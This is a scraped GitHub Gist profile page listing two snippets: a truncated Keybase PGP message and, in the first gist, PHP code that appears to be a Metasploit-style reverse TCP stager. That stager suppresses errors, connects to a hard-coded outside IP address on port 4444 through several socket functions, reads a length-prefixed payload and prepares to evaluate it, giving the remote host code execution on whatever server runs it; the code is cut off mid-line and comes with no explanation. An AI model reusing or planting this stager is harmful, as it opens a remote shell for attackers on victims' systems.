Skip to content

Instantly share code, notes, and snippets.

Taras Zelyk TarasZelyk

Block or report user

Report or block TarasZelyk

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:387cdb670e9ce4fc504fa348af6b3337
/*<?php /**/ error_reporting(0); $ip = '54.212.109.200'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')
View gist:3979cc3975cb85d28f13fae73d6de094
-----BEGIN PGP MESSAGE-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
yMKkAnicrVNtaFZVHH+elpUrY8xJrT4UVypEs/N27z1nhkMoTBl+yKgxp4/n5X+e
5/Jsz5333me1zfXyobJEHIYrlGIhCImiH0Q/JDRX1KAUM6LybRiBrUVKBBqFde4w
gog+9elw/vz+vzfO+WheQ6GxuMyKBy5/3bq/+OnEpnqh69VFI0Oeis2A1zbkVWH2
gB4DaVaqRsZr8xBGWJFQCJ9agaUQREmlWQiIBUgqYRRwKgSX2CqGQ4U4UwoLbCkH
olgoCJFIeks8G9XKkPQlUS1ztAENlAYTCk4NADeU8pAqQn0ija9oqLUOtON1i5U4
zTecOSVTWBrFbuYupVl7/4L/n33XZ+mAh5rQUAmkfOCSUgFUaIERI0SFONetp5DU
You can’t perform that action at this time.